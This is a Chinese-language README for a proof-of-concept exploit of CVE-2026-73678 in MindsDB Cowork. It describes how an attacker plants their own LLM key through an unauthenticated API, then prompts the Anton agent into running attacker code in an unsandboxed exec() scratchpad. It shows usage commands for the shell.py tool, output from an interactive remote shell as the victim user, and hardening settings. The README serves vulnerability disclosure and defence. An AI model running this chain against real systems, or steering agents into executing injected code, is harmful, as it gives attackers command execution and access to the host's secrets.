针对 CVE-2026-73678 的 PoC 漏洞利用:通过攻击者提供的 LLM 密钥及无沙箱的 scratchpad 执行,在 MindsDB Cowork 中实现未认证 RCE,以运行操作系统命令。
CVE-2026-73678 的 PoC(CVSS 3.1 10.0 严重,AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)。
完整分析文章:www.hunt-benito.com/blog/bring-your-own-key-cve-2026-73678-unauthenticated-rce-in-mindsdb-cowork/
Cowork 的 cowork-server FastAPI sidecar 暴露了 /api/v1/ 接口,无需任何认证
(CWE-306),CORS 配置为 allow_origins=["*"](CWE-942),并且 Anton 代理的 scratchpad
工具会通过无沙箱的裸 exec() 直接执行 LLM 生成的 Python 代码(CWE-94)。
攻击链:通过 PUT /api/v1/settings/* 植入攻击者自己的 LLM 密钥 → 使用精心构造的提示词向 POST /api/v1/responses/ 发起请求,让代理在 scratchpad 上执行攻击者代码 → 以运行该应用的用户身份执行任意操作系统命令。
改编自 MindsDB 安全公告 GHSA-jcxw-h8ph-pxpv 中的 PoC(致谢:Ho Viet Khanh / HK4zCzi)。
127.0.0.1:26866)# against a local dev instance (make dev-web)
python3 shell.py AIzaSy... gemini
# explicit target + model
API=http://127.0.0.1:26866/api/v1 python3 shell.py sk-... openai gpt-4o-mini
[*] Setting provider=gemini model=gemini-2.5-flash
[*] validate: {"status": "ok", "configReady": true, ...}
=======================================================
RCE SHELL (type shell commands, 'exit' to quit)
=======================================================
$ id
uid=1000(victim) gid=1000(victim) groups=1000(victim),27(sudo)
生成的代码片段会在受害者进程内部计算 os.urandom(4).hex(),
并将其写入 /tmp/RCE_PROOF.txt。提示词告诉模型:如果不实际执行代码,
它就不可能知道这个 nonce。如果返回的文本中包含与磁盘上文件一致的 nonce,
就证明代码确实执行了——产生幻觉的模型不可能凭空生成它。
export COWORK_REQUIRE_AUTH=true # auth exists but defaults OFF
export COWORK_AUTH_TOKEN="<long-random>" # or let it auto-generate
export COWORK_ALLOWED_ORIGINS='["http://localhost:26866"]'
# never set COWORK_SERVER_HOST beyond 127.0.0.1; rotate all secrets reachable
# by the account that ran the app
目前没有附带补丁的发布标签(release tag);修复仅存在于 cowork-server/anton
的 main 分支上。
仅限经授权的安全测试与研究使用。请勿对你不拥有或未经明确许可测试的系统 运行本工具。